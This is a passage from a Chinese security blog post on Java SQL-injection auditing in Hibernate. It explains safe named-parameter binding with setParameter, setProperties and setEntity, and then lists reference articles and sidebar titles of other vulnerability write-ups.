如上面代码所示，setParameter()方法包含三个参数，分别是命名参数名称，命名参数实际值，以及命名参数映射类型。对于某些参数类型setParameter()方法可以根据参数值的Java类型，猜测出对应的映射类型，因此这时不需要显示写出映射类型，像上面的例子，可以直接这样写：

query.setParameter(“customername”,name);但是对于一些类型就必须写明映射类型，比如java.util.Date类型，因为它会对应Hibernate的多种映射类型，比如Hibernate.DATA或者Hibernate.TIMESTAMP。

5.1.4、setProperties()方法

在Hibernate中可以使用setProperties()方法，将命名参数与一个对象的属性值绑定在一起，如下程序代码：

Customer customer=new Customer();
customer.setName(“pansl”);
customer.setAge(80);
Query query=session.createQuery(“from Customer c where c.name=:name and c.age=:age ”);
query.setProperties(customer);

setProperties()方法会自动将customer对象实例的属性值匹配到命名参数上，但是要求命名参数名称必须要与实体对象相应的属性同名。

5.1.5、特殊的setEntity()方法

它会把命名参数与一个持久化对象相关联，如下面代码所示：

Customer customer=(Customer)session.load(Customer.class,”1”);
Query query=session.createQuery(“from Order order where order.customer=:customer ”);
query. setEntity(“customer”,customer);
List list=query.list();

上面的代码会生成类似如下的SQL语句：

Select * from order where customer_ID='1';

参考

1、https://xz.aliyun.com/t/10686#toc-0
2、https://b1ngz.github.io/java-sql-injection-note/
3、https://zhuanlan.zhihu.com/p/134037462
4、https://zhuanlan.zhihu.com/p/42841510
5、https://developer.aliyun.com/article/271035#:~:text=%E5%AE%83%E4%BB%AC%E9%83%BD%E4%B8%93%E7%94%A8%E4%BA%8E%E5%8F%91%E9%80%81,%E5%B7%B2%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B%E7%9A%84%E8%B0%83%E7%94%A8%E3%80%82&text=Statement%E6%95%88%E7%8E%87%E4%BC%9A%E6%9B%B4%E9%AB%98%E4%B8%80%E7%82%B9%E3%80%82
6、https://www.cnblogs.com/zsh-blogs/p/10574381.html
7、https://zhuanlan.zhihu.com/p/42841510
8、https://c0d3p1ut0s.github.io/MyBatis%E6%A1%86%E6%9E%B6%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84SQL%E6%B3%A8%E5%85%A5/
9、https://c0d3p1ut0s.github.io/%E7%AE%80%E5%8D%95%E8%AF%B4%E8%AF%B4MySQL-Prepared-Statement/
10、https://www.dineshonjava.com/hibernate/understanding-parameter-binding-and-sql/
11、https://www.digitalocean.com/community/tutorials/hibernate-query-language-hql-example-tutorial
12、https://blog.csdn.net/u011721501/article/details/43918203
13、Java代码审计之SQL注入——Hibernate框架-SecIN (sec-in.com)
14、https://blog.csdn.net/qq_36908872/article/details/103523165

UzzzzZ

Nacos RCE漏洞分析

漏洞简介

漏洞描述

影响范围

漏洞复现

漏洞分析

疑问解答

漏洞排查

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

云网OA8.0 updateUiSetup接口存在未授权FastJSON RCE

基本信息

功能点

漏洞复现

泛微E-Cology9 getFileViewUrl SSRF漏洞分析

漏洞描述

影响泛微

漏洞复现

漏洞分析

修复方案

"限时福利：Splashtop 免费送一年高级远程支持服务，价值990元"

Splashtop 更多商业版软件

Splashtop Business Access

Splashtop Enterprise

Splashtop On-Prem

Splashtop 软件特性

1、高性能 高画质

2、全平台支持

3、安全可靠

4、功能全面

Splashtop 简介

未授权与垂直/水平越权(IDOR)检测实现方案

未授权与垂直/水平越权(IDOR)检测实现方案

TODO

越权(IDOR)

1、越权漏洞与逻辑漏洞的边界

1.1、首先什么是越权漏洞

1.2、什么是垂直越权

1.3、什么是水平越权

1.4、什么是逻辑漏洞

1.4.1、案例一

1.4.2、案例二

1.4.3、案例三

2、垂直/水平越权漏洞产生的主要原因与场景

2.1、垂直/水平越权漏洞产生的主要原因

2.2、会有哪些场景？

2.2.1、垂直越权

2.2.2、水平越权

3、越权漏洞检测实现的难点

4、如何使用现有的方案来实现越权检测

4.1、余弦相似度判断差异性

5、实践落地

5.1、拉卡拉

5.2、享道出行

5.3、字节SRC

5.4、自如

未授权访问

1、为什么会出现未授权

2、未授权检测实现方案

越权实现方案二

1、GoLang gopacket实现

1.1、实现方式一

1.1、获取HTTP请求

1.2、获取HTTPS请求

1.2、实现方式二

2、Python Scapy实现

2.1、实现方式一

2.2、实现方式二

3、具体实现

4、上述方案的缺点

洞态IAST检测优化：Fel表达式注入

一、简介

二、友商测试

1、默安-无法检测

三、洞态IAST

1、描述

2、检测规则

3、修复方案

洞态IAST检测优化：阿里QLExpress组件表达式注入

MacOS下高效记录会议纪要以及实时音频转文字解决方案

1、高性能高画质

1、为什么mybatis order by不能使用`#`号